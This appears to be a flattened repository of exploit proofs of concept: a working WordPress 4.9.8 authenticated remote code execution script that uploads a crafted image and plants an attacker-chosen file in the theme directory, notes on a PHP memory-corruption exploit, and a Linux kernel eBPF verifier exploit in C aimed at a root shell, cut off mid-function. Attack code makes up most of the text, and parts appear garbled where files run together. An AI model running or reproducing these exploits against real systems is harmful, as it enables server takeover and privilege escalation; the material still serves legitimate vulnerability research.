├── CVE-2019-6977 ├── README.md └── imagecolormatch.php ├── CVE-2019-8943 ├── README.md └── wordpress_rce.py ├── CVE-2020-27194 ├── README.md └── exploit.c ├── CVE-2021-27889+CVE-2021-27890 ├── convert.py ├── exec.js ├── injector.js ├── theme.xml └── writeup_exploit.txt ├── LICENSE └── README.md /CVE-2019-6977/README.md: -------------------------------------------------------------------------------- 1 | I discovered this CVE while researching 2 | methods to hide a PHP payload in a file 3 | that will be parsed by ImageMagick while 4 | writing an exploit for CVE-2019-8943. 5 | 6 | This PoC exploit overwrites the `autoload_func` function pointer. This 7 | function pointer is executed when a class 8 | that is currently not in scope is instantiated. This function receives only 9 | one argument, which is the name of the 10 | class to be instantiated. It is overwritten with the address to 11 | `zif_passthru`, the backing C function of PHP's `passthru()`, which also only 12 | takes one argument, which is a system command, executes it and outputs it. 13 | 14 | By overwriting this function, an arbitrary binary in the current PATH can be executed by calling for example 15 | 16 | ```PHP 17 | new ls(); 18 | ``` 19 | 20 | -------------------------------------------------------------------------------- /CVE-2019-6977/imagecolormatch.php: -------------------------------------------------------------------------------- 1 | " % (self.theme_slug, os.path.basename(self.target_shell), str(b64shellcode)) 40 | 41 | # Edit the images exif data 42 | exif_data = piexif.load('payload.jpeg') 43 | exif_data['0th'][piexif.ImageIFD.ImageDescription] = payload_gen 44 | exif_bytes = piexif.dump(exif_data) 45 | piexif.insert(exif_bytes, 'payload.jpeg') 46 | 47 | print("[*] Created the malicious image in payload.jpeg") 48 | 49 | 50 | def get_template_path(self): 51 | print("[*] Attempting to get the currently active theme") 52 | response = requests.get(self.url) 53 | regex = re.compile(self.url + "wp-content/themes/([a-zA-Z0-9-_\.]+)/") 54 | matches = regex.findall(response.text) 55 | if not matches is None and matches: 56 | self.theme_slug = matches[0] 57 | print("[+] Detected current theme's slug: %s" % self.theme_slug) 58 | else: 59 | print("[-] Was not able to detect the currently active theme.") 60 | 61 | 62 | def authenticate(self): 63 | wp_session = requests.Session() 64 | data = { 65 | 'log': self.username, 66 | 'pwd': self.password, 67 | 'wp-submit': 'Log In', 68 | 'redirect_to': self.admin_url, 69 | 'testcookie': '1' 70 | } 71 | 72 | print("[*] Attempting to log into the site") 73 | r = wp_session.get(self.login_url) 74 | r = wp_session.post(self.login_url, data=data) 75 | 76 | if not "wp-admin-bar-logout" in r.text: 77 | print("[-] Failed to authenticate to the site. Are the Credentials correct?") 78 | exit(1) 79 | 80 | print("[+] Successfully logged into the site") 81 | self.session = wp_session 82 | 83 | 84 | def _get_upload_nonce(self): 85 | response = self.session.get(self.media_url) 86 | regex = re.compile('name="_wpnonce" value="([a-zA-Z0-9]+)"') 87 | matches = regex.findall(response.text) 88 | if not matches is None and len(matches) > 0: 89 | return matches[0] 90 | else: 91 | print("[-] Failed to grab the upload nonce. Are you sure that your account is privileged enough to upload files?") 92 | exit(1) 93 | 94 | def _get_crop_nonce(self): 95 | response = self.session.get(self.edit_attachment_url) 96 | pattern = "imageEdit.open(\s*%d,\s*'\([a-zA-Z0-9]+)'\)" % self.attachment_id 97 | regex = re.compile("imageEdit.open\(\s*\d+,\s*['\"]([a-zA-Z0-9]+)['\"]") 98 | matches = regex.findall(response.text) 99 | if not matches is None and len(matches) > 0: 100 | return matches[0] 101 | else: 102 | print("[-] Failed to grab the image editor nonce.") 103 | 104 | def upload_payload(self): 105 | nonce = self._get_upload_nonce() 106 | data = { 107 | '_wpnonce': nonce, 108 | 'name': 'payload.jpeg', 109 | 'post_id': 0, 110 | 'short': 1 111 | } 112 | 113 | files = { 114 | 'async-upload': open('payload.jpeg', 'rb') 115 | } 116 | 117 | r = self.session.post(self.upload_url, data=data, files=files) 118 | self.attachment_id = int(r.text) 119 | 120 | # Verify that the image was actually uploaded 121 | now = datetime.datetime.now() 122 | self.attachment_url = self.url + "wp-content/uploads/%s/%s/payload.jpeg" % (now.year, now.month) 123 | r = requests.get(self.attachment_url) 124 | if r.status_code == 200: 125 | print("[+] Payload was successfully uploaded") 126 | self.edit_attachment_url = self.admin_url + "post.php?post=%d&action=edit" % self.attachment_id 127 | else: 128 | print("[-] The payload was not uploaded. Exiting.") 129 | exit(1) 130 | 131 | def _get_edit_attachment_nonce(self): 132 | response = self.session.get(self.edit_attachment_url) 133 | regex = re.compile('name="_wpnonce" value="([a-zA-Z0-9]+)"') 134 | matches = regex.findall(response.text) 135 | if not matches is None and len(matches) > 0: 136 | return matches[0] 137 | else: 138 | print("[-] Failed to get the nonce needed to edit the attachment") 139 | 140 | 141 | def update_attached_file(self, step): 142 | now = datetime.datetime.now() 143 | path = "%s/%s/" % (now.year, now.month) 144 | payload = 'payload.jpeg?/shell.jpeg' if step == 1 else 'payload.jpeg?/../../../../themes/twentyseventeen/shell.jpeg' 145 | payload = path + payload 146 | nonce = self._get_edit_attachment_nonce() 147 | data = { 148 | '_wpnonce': nonce, 149 | 'post_ID': self.attachment_id, 150 | 'meta_input[_wp_attached_file]': payload, 151 | 'action': 'editpost', 152 | 'debug': True 153 | } 154 | self.session.post(self.edit_post_url, data=data) 155 | print("[*] Updated attached file to %s" % payload) 156 | 157 | def crop_image(self): 158 | nonce = self._get_crop_nonce() 159 | data = { 160 | '_ajax_nonce': nonce, 161 | 'id': self.attachment_id, 162 | 'action': 'crop-image', 163 | 164 | 'cropDetails[x1]': 100, 165 | 'cropDetails[y1]': 100, 166 | 'cropDetails[width]': 100, 167 | 'cropDetails[height]': 100, 168 | 'cropDetails[dst_width]': 100, 169 | 'cropDetails[dst_height]': 100 170 | } 171 | 172 | response = self.session.post(self.ajax_url, data=data) 173 | print("[*] Cropped the image") 174 | 175 | def verify_jpeg_shell_exists(self): 176 | self.theme_url = self.url + "wp-content/themes/" + self.theme_slug 177 | r = requests.get(self.theme_url + "/cropped-shell.jpeg") 178 | if r.status_code == 200: 179 | print("[+] Confirmed that the malicious image has been planted into the theme directory") 180 | else: 181 | print("[-] The malicious image was not found within the theme directory. Maybe it isn't writable. Exiting") 182 | exit(1) 183 | 184 | def _get_new_post_nonce_and_id_and_referer(self): 185 | response = self.session.get(self.admin_url + "index.php") 186 | regex = re.compile('name="_wpnonce" value="([a-zA-Z0-9]+)"') 187 | matches = regex.findall(response.text) 188 | if not matches is None and len(matches) > 0: 189 | nonce = matches[0] 190 | else: 191 | print("[-] Failed to get the nonce needed to edit the attachment") 192 | exit(1) 193 | regex = re.compile('name=["\']post_ID["\'] value=["\'](\d+)["\']') 194 | matches = regex.findall(response.text) 195 | if not matches is None and len(matches) > 0: 196 | id = matches[0] 197 | else: 198 | print("[-] Failed to get the ID of the new post") 199 | exit(1) 200 | regex = re.compile('name=["\']_wp_http_referer["\'] value=["\']([^"\']+)["\']') 201 | matches = regex.findall(response.text) 202 | if not matches is None and len(matches) > 0: 203 | referer = matches[0] 204 | else: 205 | print("[-] Failed to get referer") 206 | exit(1) 207 | 208 | return (nonce, id, referer) 209 | 210 | def create_new_post(self): 211 | nonce, id, referer = self._get_new_post_nonce_and_id_and_referer() 212 | referer = referer.replace('index', 'post') 213 | data = { 214 | '_wpnonce': nonce, 215 | 'action': 'post-quickdraft-save', 216 | 'post_ID': id, 217 | 'post_type': 'post', 218 | 'post_title': '0wned by ze 0day', 219 | 'content': '1337', 220 | '_wp_http_referer': referer, 221 | 'meta_input[_wp_page_template]': 'cropped-shell.jpeg' 222 | 223 | } 224 | self.session.post(self.edit_post_url, data=data) 225 | self.exploit_post_id = id 226 | print("[*] Attempted to create the post carrying our payload - Now verifying if the exploit worked") 227 | 228 | 229 | def trigger_exploit(self): 230 | self.session.get(self.url + "?p=" + self.exploit_post_id + "&preview=true") 231 | 232 | 233 | def check_if_shell_exists(self): 234 | response = requests.get(self.theme_url + "/" + os.path.basename(self.target_shell)) 235 | if response.status_code == 200: 236 | print("[+] Success! Your target file is now available at %s/%s" % (self.theme_url, os.path.basename(self.target_shell))) 237 | else: 238 | print("[-] Was not able to upload the target file") 239 | 240 | 241 | 242 | def run(self): 243 | self.get_template_path() 244 | self.create_payload() 245 | self.authenticate() 246 | self.upload_payload() 247 | self.update_attached_file(step=1) 248 | self.crop_image() 249 | self.update_attached_file(step=2) 250 | self.crop_image() 251 | self.verify_jpeg_shell_exists() 252 | self.create_new_post() 253 | self.trigger_exploit() 254 | self.check_if_shell_exists() 255 | 256 | 257 | if __name__ == '__main__': 258 | usage = "WordPress <= 4.9.8 Remote Code Execution as Author Exploit (Vulnerability Research & Exploit Author: Simon Scannell (RIPS Technologies)\n\n" 259 | 260 | if len(sys.argv) != 5: 261 | usage += "Usage: %s target_wordpress_url username password path_to_file_that_should_be_uploaded\n" % sys.argv[0] 262 | usage += "Example: %s http://localhost/wordpress/ author p4assw0rd /tmp/shell.php" % sys.argv[0] 263 | print(usage) 264 | exit(1) 265 | 266 | print(usage) 267 | 268 | expl01t = Exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]) 269 | expl01t.run() 270 | 271 | 272 | -------------------------------------------------------------------------------- /CVE-2020-27194/README.md: -------------------------------------------------------------------------------- 1 | PoC exploit that drops into an 2 | interactive shell on Ubuntu 20.10 before upstream commit [5b9fbeb75b6a98955f628e205ac26689bcb1383e](https://github.com/torvalds/linux/commit/5b9fbeb75b6a98955f628e205ac26689bcb1383e). 3 | 4 | ## usage 5 | 6 | ```bash 7 | gcc -o exploit && ./exploit 8 | ``` -------------------------------------------------------------------------------- /CVE-2020-27194/exploit.c: -------------------------------------------------------------------------------- 1 | /** 2 | Kernel exploit for CVE-2020-27194, targeting Ubuntu kernels in the 5.8.* range. 3 | The vulnerability was fixed in the mainline kernel with commit 4 | https://github.com/torvalds/linux/commit/5b9fbeb75b6a98955f628e205ac26689bcb1383e 5 | 6 | The exploit drops into an interactive root shell. 7 | 8 | Vulnerability Discovery: Simon Scannell 9 | Exploit author: Simon Scannell 10 | Write-Up: https://scannell.me/fuzzing-for-ebpf-jit-bugs-in-the-linux-kernel/ 11 | 12 | This exploit was released weeks after disclosure, when other exploits have already 13 | been release and the purpose of this release it not to enable anyone to do harm 14 | to someone else. 15 | The exploit is released strictly for educational purposes and so that I can showcase my 16 | work. 17 | */ 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | 35 | 36 | // Instruction macros 37 | #define BPF_JMP32 0x06 38 | 39 | /* ALU ops on registers, bpf_add|sub|...: dst_reg += src_reg */ 40 | 41 | #define BPF_ALU64_REG(OP, DST, SRC) \ 42 | ((struct bpf_insn) { \ 43 | .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ 44 | .dst_reg = DST, \ 45 | .src_reg = SRC, \ 46 | .off = 0, \ 47 | .imm = 0 }) 48 | 49 | 50 | /* ALU ops on immediates, bpf_add|sub|...: dst_reg += imm32 */ 51 | 52 | #define BPF_ALU64_IMM(OP, DST, IMM) \ 53 | ((struct bpf_insn) { \ 54 | .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ 55 | .dst_reg = DST, \ 56 | .src_reg = 0, \ 57 | .off = 0, \ 58 | .imm = IMM }) 59 | 60 | 61 | /* Short form of mov, dst_reg = src_reg */ 62 | 63 | #define BPF_MOV64_REG(DST, SRC) \ 64 | ((struct bpf_insn) { \ 65 | .code = BPF_ALU64 | BPF_MOV | BPF_X, \ 66 | .dst_reg = DST, \ 67 | .src_reg = SRC, \ 68 | .off = 0, \ 69 | .imm = 0 }) 70 | 71 | #define BPF_MOV32_REG(DST, SRC) \ 72 | ((struct bpf_insn) { \ 73 | .code = BPF_ALU | BPF_MOV | BPF_X, \ 74 | .dst_reg = DST, \ 75 | .src_reg = SRC, \ 76 | .off = 0, \ 77 | .imm = 0 }) 78 | 79 | 80 | #define BPF_MOV64_IMM(DST, IMM) \ 81 | ((struct bpf_insn) { \ 82 | .code = BPF_ALU64 | BPF_MOV | BPF_K, \ 83 | .dst_reg = DST, \ 84 | .src_reg = 0, \ 85 | .off = 0, \ 86 | .imm = IMM }) 87 | 88 | 89 | #define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ 90 | ((struct bpf_insn) { \ 91 | .code = BPF_LD | BPF_DW | BPF_IMM, \ 92 | .dst_reg = DST, \ 93 | .src_reg = SRC, \ 94 | .off = 0, \ 95 | .imm = (__u32) (IMM) }), \ 96 | ((struct bpf_insn) { \ 97 | .code = 0, /* zero is reserved opcode */ \ 98 | .dst_reg = 0, \ 99 | .src_reg = 0, \ 100 | .off = 0, \ 101 | .imm = ((__u64) (IMM)) >> 32 }) 102 | 103 | #ifndef BPF_PSEUDO_MAP_FD 104 | # define BPF_PSEUDO_MAP_FD 1 105 | #endif 106 | 107 | /* BPF_LD_IMM64 macro encodes single 'load 64-bit immediate' insn */ 108 | #define BPF_LD_IMM64(DST, IMM) \ 109 | BPF_LD_IMM64_RAW(DST, 0, IMM) 110 | 111 | /* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */ 112 | #define BPF_LD_MAP_FD(DST, MAP_FD) \ 113 | BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) 114 | 115 | 116 | /* Memory load, dst_reg = *(uint *) (src_reg + off16) */ 117 | #define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ 118 | ((struct bpf_insn) { \ 119 | .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ 120 | .dst_reg = DST, \ 121 | .src_reg = SRC, \ 122 | .off = OFF, \ 123 | .imm = 0 }) 124 | 125 | /* Memory store, *(uint *) (dst_reg + off16) = src_reg */ 126 | 127 | #define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ 128 | ((struct bpf_insn) { \ 129 | .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ 130 | .dst_reg = DST, \ 131 | .src_reg = SRC, \ 132 | .off = OFF, \ 133 | .imm = 0 }) 134 | 135 | 136 | #define BPF_JMP_REG(OP, DST, SRC, OFF) \ 137 | ((struct bpf_insn) { \ 138 | .code = BPF_JMP | BPF_OP(OP) | BPF_X, \ 139 | .dst_reg = DST, \ 140 | .src_reg = SRC, \ 141 | .off = OFF, \ 142 | .imm = 0 }) 143 | 144 | 145 | #define BPF_JMP_IMM(OP, DST, IMM, OFF) \ 146 | ((struct bpf_insn) { \ 147 | .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ 148 | .dst_reg = DST, \ 149 | .src_reg = 0, \ 150 | .off = OFF, \ 151 | .imm = IMM }) 152 | 153 | /* Raw code statement block */ 154 | 155 | #define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \ 156 | ((struct bpf_insn) { \ 157 | .code = CODE, \ 158 | .dst_reg = DST, \ 159 | .src_reg = SRC, \ 160 | .off = OFF, \ 161 | .imm = IMM }) 162 | 163 | /* Program exit */ 164 | 165 | #define BPF_EXIT_INSN() \ 166 | ((struct bpf_insn) { \ 167 | .code = BPF_JMP | BPF_EXIT, \ 168 | .dst_reg = 0, \ 169 | .src_reg = 0, \ 170 | .off = 0, \ 171 | .imm = 0 }) 172 | 173 | 174 | #define BPF_MAP_TYPE_STACK (23) 175 | 176 | // offset from the array chunk to the map_ops pointer 177 | const int64_t map_ops_off = 0x110; 178 | 179 | // offset from the array chunk to the BTF field of the map 180 | const int64_t map_btf_off = 0xd0; 181 | 182 | // offset from the init_pid_ns to the radix tree root 183 | const int64_t radix_tree_root_off = 0x8; 184 | 185 | // offset from the radix tree root to xa_head_off 186 | const int64_t xa_head_off = 0x8; 187 | 188 | // offset from the pid task to the PID task list 189 | const int64_t pid_tasks_off = 0x10; 190 | 191 | // offset from the linked list entry to the beginning of the task struct 192 | const int64_t list_task_off = 0x950; 193 | 194 | // offsets to fields from the base (vary depending on config) 195 | const int64_t cred_off = 0xa88; 196 | const int64_t files_off = 0xae0; 197 | 198 | // offset from struct_files to the fd table pointer 199 | const int64_t fdtab_off = 0x20; 200 | 201 | // offset from the FD table pointer to the map 202 | const int64_t fd_off = 0x8; 203 | 204 | // offset from struct file to private_data member 205 | const int64_t private_data_off = 0xc8; 206 | 207 | // size of the bpf_map_ops structure we want to create a full copy of! 208 | const uint64_t bpf_map_ops_size = 0x108; 209 | 210 | // offsets to function pointers within map ops we want to read / overwrite 211 | const uint64_t bpf_map_get_nex_key_off = 0x20; 212 | const uint64_t bpf_map_push_elem_off = 0x70; 213 | 214 | // offsets from the beginning of the memory chunk to fields in bpf_map 215 | const uint64_t map_type_off = 0xf8; 216 | const uint64_t map_spinlock_off = 0xe4; 217 | const uint64_t max_entries_off = 0xec; 218 | 219 | const uint64_t uid_off = 0x4; 220 | const uint64_t gid_off = 0x8; 221 | const uint64_t euid_off = 0x14; 222 | 223 | 224 | typedef struct _exploit_ctx { 225 | int prog_fd; 226 | int corrupt_map_fd; 227 | int storage_map_fd; 228 | void *map_ops; 229 | int needs_cleanup; 230 | 231 | char *init_pid_ns_name; 232 | void *init_pid_ns; 233 | 234 | pid_t pid; 235 | 236 | void *task_struct; 237 | void *cred; 238 | void *real_cred; 239 | void *files; 240 | void *corrupt_map; 241 | 242 | int write_occured; 243 | } exploit_ctx; 244 | 245 | void panic(const char *msg, exploit_ctx *ctx); 246 | 247 | int bpf(unsigned cmd, union bpf_attr *attr, size_t size) 248 | { 249 | return syscall(321, cmd, attr, size); 250 | } 251 | 252 | 253 | static int open_tcp_sock() 254 | { 255 | int sock, err; 256 | sock = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0); 257 | assert(sock != -1); 258 | 259 | struct sockaddr_in serverAddr; 260 | serverAddr.sin_family = AF_INET; 261 | serverAddr.sin_port = htons(1337); 262 | serverAddr.sin_addr.s_addr = htonl(INADDR_ANY); 263 | 264 | err = bind(sock, (struct sockaddr *)&serverAddr, sizeof(serverAddr)); 265 | assert(err != -1); 266 | 267 | assert(listen(sock, 5) == 0); 268 | 269 | struct sockaddr bin; 270 | socklen_t bin_size = sizeof(bin); 271 | 272 | return sock; 273 | } 274 | 275 | 276 | 277 | /** 278 | * This is the main part of this PoC. 279 | * We will use the following registers, after initialization: 280 | * - BPF_REG_0 will contain the constant 0 used as a return value of the program 281 | * - BPF_REG_3 will contain a ptr to the storage map 282 | * - BPF_REG_4 will contain the corrupted map pointer 283 | * - BPF_REG_5 will contain the special value obtained from the map 284 | * - BPF_REG_6 will contain 64bit immediates to set the min/max bounds of the special register (5) 285 | * - BPF_REG_7 will finally contain the value which the verifier believes to be 0 but is actually our arbitrary offset 286 | * - BPF_REG_8 will contain the leaked value 287 | * - BPF_REG_9 is an extra reg that can be used to make copies etc 288 | */ 289 | #define STORAGE_PTR_REG BPF_REG_3 290 | #define CORRUPTED_PTR_REG BPF_REG_4 291 | #define SPECIAL_VAL_REG BPF_REG_5 292 | #define CONST_REG BPF_REG_6 293 | #define INVALID_OFFSET_REG BPF_REG_7 294 | #define LEAKED_VAL_REG BPF_REG_8 295 | #define EXTRA_REG BPF_REG_9 296 | 297 | 298 | #define LOAD_STORAGE_MAP \ 299 | 300 | 301 | 302 | #define LOAD_CORRUPT_MAP \ 303 | 304 | 305 | #define EXPLOIT_SKELETON \ 306 | /* Load the corrupt map */ \ 307 | BPF_MOV64_IMM(BPF_REG_0, 0), \ 308 | BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), \ 309 | BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \ 310 | BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \ 311 | BPF_LD_MAP_FD(BPF_REG_1, ctx->corrupt_map_fd), \ 312 | BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \ 313 | \ 314 | /* Verify the pointer to the corrupt map is valid */ \ 315 | BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \ 316 | BPF_EXIT_INSN(), \ 317 | /* Save the pointer momentarily in register 7, registers 0...5 will be reset after second call*/ \ 318 | BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), \ 319 | \ 320 | /* Load the storage map */ \ 321 | BPF_MOV64_IMM(BPF_REG_0, 0), \ 322 | BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), \ 323 | BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \ 324 | BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \ 325 | BPF_LD_MAP_FD(BPF_REG_1, ctx->storage_map_fd), \ 326 | BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \ 327 | \ 328 | /* Verify the pointer to the corrupt map is valid */ \ 329 | BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \ 330 | BPF_EXIT_INSN(), \ 331 | BPF_MOV64_REG(STORAGE_PTR_REG, BPF_REG_0), \ 332 | /* Save the corrupt map pointer in the right register */ \ 333 | BPF_MOV64_REG(CORRUPTED_PTR_REG, BPF_REG_7), \ 334 | /* Load 1 into the retval reg to reject packets */ \ 335 | BPF_MOV64_IMM(BPF_REG_0, 1), \ 336 | \ 337 | /* Load the special value from the map */ \ 338 | BPF_LDX_MEM(BPF_DW, SPECIAL_VAL_REG, STORAGE_PTR_REG, 0), \ 339 | /* jump over the exit() if the value derived from the map < 25769803778 */ \ 340 | /* umax_val = 25769803777 after this (0b11000000000000000000000000000000001) */ \ 341 | BPF_LD_IMM64(CONST_REG, 25769803778UL), \ 342 | BPF_JMP_REG(BPF_JLT, SPECIAL_VAL_REG, CONST_REG, 1), \ 343 | BPF_EXIT_INSN(), \ 344 | \ 345 | /* Set the umin value of the derived value to 1. */ \ 346 | BPF_JMP_IMM(BPF_JGT, SPECIAL_VAL_REG, 0, 1), \ 347 | BPF_EXIT_INSN(), \ 348 | \ 349 | /* Trigger the bug. After these two instructions the verifier believes */ \ 350 | /* that INVALID_OFFSET_REG contains the const 1, altough in our case it contains 2 */ \ 351 | BPF_ALU64_IMM(BPF_OR, SPECIAL_VAL_REG, 0), \ 352 | BPF_MOV32_REG(INVALID_OFFSET_REG, SPECIAL_VAL_REG), \ 353 | \ 354 | /* Shifting the value, which the verifier believes to be 1 turns it into 1 but the verifier believes */ \ 355 | /* it to be 0 */ \ 356 | /* This allows us to multiply the offset by an arbitrary value (the verifier will still believe it is 0) */ \ 357 | BPF_ALU64_IMM(BPF_RSH, INVALID_OFFSET_REG, 1), 358 | 359 | 360 | 361 | 362 | 363 | enum exploit_stage { 364 | SETUP_MAPS, 365 | TEST_OOB_READ, 366 | TEST_ARBITRARY_READ, 367 | FIND_STRTAB, 368 | FIND_INIT_PID_NS, 369 | FIND_TASK_STRUCT, 370 | OVERWRITE_CREDS, 371 | CLEANUP, 372 | 373 | }; 374 | 375 | #define SPECIAL_VAL 8589934595UL 376 | #define STORAGE_MAP_SIZE (8192) 377 | 378 | static int setup_maps(int *corrput_map_fd, int *storage_map_fd) 379 | { 380 | // We need to set up two BPF maps, one which we will corrupt and one to store information in for later 381 | // Create an array map with a single entry, the size doesn't really matter. However, the larger the map the further we can go OOB 382 | uint64_t key = 0; 383 | union bpf_attr corrupt_map = { 384 | .map_type = BPF_MAP_TYPE_ARRAY, 385 | .key_size = 4, 386 | .value_size = STORAGE_MAP_SIZE, 387 | .max_entries = 1, 388 | }; 389 | 390 | strcpy(corrupt_map.map_name, "corrupt_map"); 391 | *corrput_map_fd = (__u32)bpf(BPF_MAP_CREATE, &corrupt_map, sizeof(corrupt_map)); 392 | if (*corrput_map_fd < 0) 393 | return 0; 394 | 395 | 396 | // Zero the buffer. The contents of this map are not important 397 | unsigned long buf[STORAGE_MAP_SIZE / sizeof(long long)]; 398 | memset(buf, 0, sizeof(buf)); 399 | union bpf_attr update_map_corrupt = { 400 | .map_fd = *corrput_map_fd, 401 | .key = (uint64_t)&key, 402 | .value = (uint64_t)&buf, 403 | }; 404 | if (bpf(BPF_MAP_UPDATE_ELEM, &update_map_corrupt, sizeof(update_map_corrupt)) < 0 ) 405 | return 0; 406 | 407 | 408 | // Set up the second, valid map in which we can store information 409 | key = 0; 410 | union bpf_attr storage_map = { 411 | .map_type = BPF_MAP_TYPE_ARRAY, 412 | .key_size = 4, 413 | .value_size = STORAGE_MAP_SIZE, 414 | .max_entries = 1 415 | }; 416 | strcpy(storage_map.map_name, "storage_map"); 417 | *storage_map_fd = (__u32)bpf(BPF_MAP_CREATE, &corrupt_map, sizeof(corrupt_map)); 418 | if (*storage_map_fd < 0) 419 | return 0; 420 | 421 | 422 | // The first value of the storage map is always the magic val that leads to OOB 423 | memset(buf, 0, sizeof(buf)); 424 | buf[0] = SPECIAL_VAL; 425 | union bpf_attr update_map_storage = { 426 | .map_fd = *storage_map_fd, 427 | .key = (uint64_t)&key, 428 | .value = (uint64_t)&buf, 429 | }; 430 | if (bpf(BPF_MAP_UPDATE_ELEM, &update_map_storage, sizeof(update_map_storage)) ) 431 | return 0; 432 | 433 | return 1; 434 | } 435 | 436 | 437 | static int setup_listener_sock() 438 | { 439 | int sock_fd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK | SOCK_CLOEXEC, 0); 440 | if (sock_fd < 0) { 441 | return sock_fd; 442 | } 443 | 444 | struct sockaddr_in serverAddr; 445 | serverAddr.sin_family = AF_INET; 446 | serverAddr.sin_port = htons(1337); 447 | serverAddr.sin_addr.s_addr = htonl(INADDR_ANY); 448 | 449 | int err = bind(sock_fd, (struct sockaddr *)&serverAddr, sizeof(serverAddr)); 450 | if (err < 0) 451 | return err; 452 | 453 | err = listen(sock_fd, 32); 454 | if (err < 0) 455 | return err; 456 | 457 | return sock_fd; 458 | } 459 | 460 | 461 | static int setup_send_sock() 462 | { 463 | return socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0); 464 | } 465 | 466 | 467 | // loads a prog and returns the FD 468 | static int load_prog(struct bpf_insn *instructions, size_t insn_count) 469 | { 470 | union bpf_attr prog = {}; 471 | prog.license = (uint64_t)"GPL"; 472 | strcpy(prog.prog_name, "exploit"); 473 | prog.prog_type = BPF_PROG_TYPE_SOCKET_FILTER; 474 | prog.insn_cnt = insn_count; 475 | prog.insns = (uint64_t)instructions; 476 | 477 | // load the BPF program 478 | int prog_fd = bpf(BPF_PROG_LOAD, &prog, sizeof(prog)); 479 | 480 | if (prog_fd < 0) { 481 | return 0; 482 | } 483 | 484 | return prog_fd; 485 | } 486 | 487 | static int trigger_prog(int prog_fd) 488 | { 489 | int listener_sock = setup_listener_sock(); 490 | int send_sock = setup_send_sock(); 491 | 492 | if (listener_sock < 0 || send_sock < 0) 493 | return 0; 494 | 495 | if (setsockopt(listener_sock, SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, 496 | sizeof(prog_fd)) < 0) { 497 | return 0; 498 | } 499 | 500 | // trigger execution by connecting to the listener socket 501 | struct sockaddr_in serverAddr; 502 | serverAddr.sin_family = AF_INET; 503 | serverAddr.sin_port = htons(1337); 504 | serverAddr.sin_addr.s_addr = htonl(INADDR_ANY); 505 | 506 | // no need to check connect, it will fail anyways 507 | connect(send_sock, (struct sockaddr *)&serverAddr, sizeof(serverAddr)); 508 | 509 | close(listener_sock); 510 | close(send_sock); 511 | return 1; 512 | 513 | } 514 | 515 | 516 | #define PROG_INSN_COUNT(instrs) (sizeof(instrs) / sizeof(instrs[0])) 517 | static int exec_prog(struct bpf_insn *instructions, size_t insn_count) 518 | { 519 | 520 | int prog_fd = load_prog(instructions, insn_count); 521 | 522 | if (!prog_fd) 523 | return 0; 524 | 525 | return trigger_prog(prog_fd); 526 | } 527 | 528 | 529 | 530 | static int read_storage_map(exploit_ctx *ctx, void *buf, size_t size) 531 | { 532 | // the storage map is at most 8192 byte large 533 | assert(size <= STORAGE_MAP_SIZE - 8); 534 | 535 | // lookup the elements 536 | unsigned long lk[STORAGE_MAP_SIZE / sizeof(long long)]; 537 | memset(lk, 0, sizeof(lk)); 538 | uint64_t key = 0; 539 | union bpf_attr lookup_map = { 540 | .map_fd = ctx->storage_map_fd, 541 | .key = (uint64_t)&key, 542 | .value = (uint64_t)&lk 543 | }; 544 | int err = bpf(BPF_MAP_LOOKUP_ELEM, &lookup_map, sizeof(lookup_map)); 545 | if (err < 0) 546 | return 0; 547 | 548 | // +1 since we want so kip the first entry (the special val) 549 | memcpy(buf, lk + 1, size); 550 | 551 | return 1; 552 | } 553 | 554 | static int write_storage_map(exploit_ctx *ctx, void *buf, size_t size) 555 | { 556 | // the storage map is at most 8192 byte large 557 | assert(size <= STORAGE_MAP_SIZE - 8); 558 | 559 | unsigned long data[STORAGE_MAP_SIZE / sizeof(long long)]; 560 | memset(data, 0, sizeof(data)); 561 | 562 | // the first entry is always the special value 563 | data[0] = SPECIAL_VAL; 564 | 565 | // copy the rest of the data 566 | memcpy(data + 1, buf, size); 567 | 568 | uint64_t key = 0; 569 | 570 | union bpf_attr update_map = { 571 | .map_fd = ctx->storage_map_fd, 572 | .key = (uint64_t)&key, 573 | .value = (uint64_t)&data 574 | }; 575 | int err = bpf(BPF_MAP_UPDATE_ELEM, &update_map, sizeof(update_map)); 576 | if (err < 0) 577 | return 0; 578 | 579 | return 1; 580 | } 581 | 582 | 583 | static int write_corrupt_map(exploit_ctx *ctx, void *buf, size_t size) 584 | { 585 | // the corrupt map is at most 8192 byte large 586 | assert(size <= STORAGE_MAP_SIZE); 587 | 588 | unsigned long data[STORAGE_MAP_SIZE / sizeof(long long)]; 589 | memset(data, 0, sizeof(data)); 590 | 591 | // copy the rest of the data 592 | memcpy(data, buf, size); 593 | 594 | uint64_t key = 0; 595 | 596 | union bpf_attr update_map = { 597 | .map_fd = ctx->corrupt_map_fd, 598 | .key = (uint64_t)&key, 599 | .value = (uint64_t)&data 600 | }; 601 | int 